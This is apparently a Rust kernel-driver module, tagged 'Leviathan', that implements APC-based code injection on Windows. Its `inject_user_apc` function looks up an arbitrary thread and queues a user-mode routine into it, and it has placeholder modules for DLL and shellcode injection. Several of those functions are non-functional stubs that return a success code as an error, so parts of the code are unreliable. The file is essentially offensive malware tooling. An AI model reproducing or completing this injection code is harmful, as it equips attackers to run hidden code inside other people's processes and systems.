use core::ptr;
use wdk::println;
use wdk_sys::{
ntddk::{
KeInitializeApc, KeInsertQueueApc, KeTestAlertThread,
PsLookupProcessByProcessId, PsLookupThreadByThreadId,
ObDereferenceObject,
},
KAPC, KAPC_ENVIRONMENT, KPROCESSOR_MODE, NTSTATUS, PEPROCESS, PETHREAD,
PKAPC, PKKERNEL_ROUTINE, PKNORMAL_ROUTINE, PKRUNDOWN_ROUTINE,
PVOID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
};
#[repr(i32)]
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ApcEnvironment {
OriginalApcEnvironment = 0,
AttachedApcEnvironment = 1,
CurrentApcEnvironment = 2,
}
pub struct KernelApc {
apc: KAPC,
initialized: bool,
}
impl KernelApc {
pub const fn new() -> Self {
Self {
apc: unsafe { core::mem::zeroed() },
initialized: false,
}
}
pub unsafe fn init_kernel_apc(
&mut self,
thread: PETHREAD,
kernel_routine: PKKERNEL_ROUTINE,
rundown_routine: PKRUNDOWN_ROUTINE,
normal_routine: PKNORMAL_ROUTINE,
mode: KPROCESSOR_MODE,
context: PVOID,
) {
unsafe {
KeInitializeApc(
&mut self.apc,
thread,
ApcEnvironment::OriginalApcEnvironment as i32,
kernel_routine,
rundown_routine,
normal_routine,
mode,
context,
);
}
self.initialized = true;
}
pub unsafe fn init_user_apc(
&mut self,
thread: PETHREAD,
apc_routine: PKNORMAL_ROUTINE,
context: PVOID,
) {
unsafe {
KeInitializeApc(
&mut self.apc,
thread,
ApcEnvironment::OriginalApcEnvironment as i32,
Some(user_apc_kernel_routine),
None, apc_routine,
wdk_sys::MODE::UserMode as i8,
context,
);
}
self.initialized = true;
}
pub unsafe fn insert(&mut self, arg1: PVOID, arg2: PVOID) -> bool {
if !self.initialized {
return false;
}
unsafe { KeInsertQueueApc(&mut self.apc, arg1, arg2, 0) != 0 }
}
pub fn as_ptr(&mut self) -> PKAPC {
&mut self.apc
}
}
unsafe extern "C" fn user_apc_kernel_routine(
_apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID,
) {
}
pub unsafe fn inject_user_apc(
thread_id: usize,
apc_routine: PKNORMAL_ROUTINE,
parameter: PVOID,
) -> Result<(), NTSTATUS> {
let mut thread: PETHREAD = ptr::null_mut();
let status = unsafe {
PsLookupThreadByThreadId(thread_id as *mut _, &mut thread)
};
if status != STATUS_SUCCESS {
println!("[Leviathan] APC: Failed to lookup thread {}", thread_id);
return Err(status);
}
let mut apc = KernelApc::new();
unsafe { apc.init_user_apc(thread, apc_routine, parameter) };
let success = unsafe { apc.insert(ptr::null_mut(), ptr::null_mut()) };
if !success {
unsafe { ObDereferenceObject(thread as *mut _) };
return Err(STATUS_UNSUCCESSFUL);
}
unsafe {
KeTestAlertThread(wdk_sys::MODE::UserMode as i8);
}
println!("[Leviathan] APC: Queued user APC to thread {}", thread_id);
unsafe { ObDereferenceObject(thread as *mut _) };
Ok(())
}
pub unsafe fn inject_apc_all_threads(
process_id: usize,
apc_routine: PKNORMAL_ROUTINE,
parameter: PVOID,
) -> Result<u32, NTSTATUS> {
let mut process: PEPROCESS = ptr::null_mut();
let status = unsafe {
PsLookupProcessByProcessId(process_id as *mut _, &mut process)
};
if status != STATUS_SUCCESS {
return Err(status);
}
let threads_injected = 0u32;
unsafe { ObDereferenceObject(process as *mut _) };
Ok(threads_injected)
}
pub mod dll_injection {
use super::*;
#[repr(C)]
pub struct DllInjectionContext {
pub dll_path: [u16; 260],
pub ldr_load_dll: usize,
pub module_handle: usize,
}
#[allow(dead_code)]
pub unsafe fn inject_dll(
_process_id: usize,
_dll_path: &str,
) -> Result<(), NTSTATUS> {
println!("[Leviathan] DLL injection via APC requested");
Err(STATUS_SUCCESS) }
}
pub mod shellcode_injection {
use super::*;
#[allow(dead_code)]
pub unsafe fn inject_shellcode(
_process_id: usize,
_shellcode: &[u8],
) -> Result<(), NTSTATUS> {
println!("[Leviathan] Shellcode injection via APC requested");
Err(STATUS_SUCCESS) }
}
pub mod special_apc {
use super::*;
#[allow(dead_code)]
pub unsafe fn queue_special_apc(
_thread_id: usize,
_apc_routine: PKNORMAL_ROUTINE,
_parameter: PVOID,
) -> Result<(), NTSTATUS> {
println!("[Leviathan] Special User APC requested (RS5+)");
Err(STATUS_SUCCESS) }
}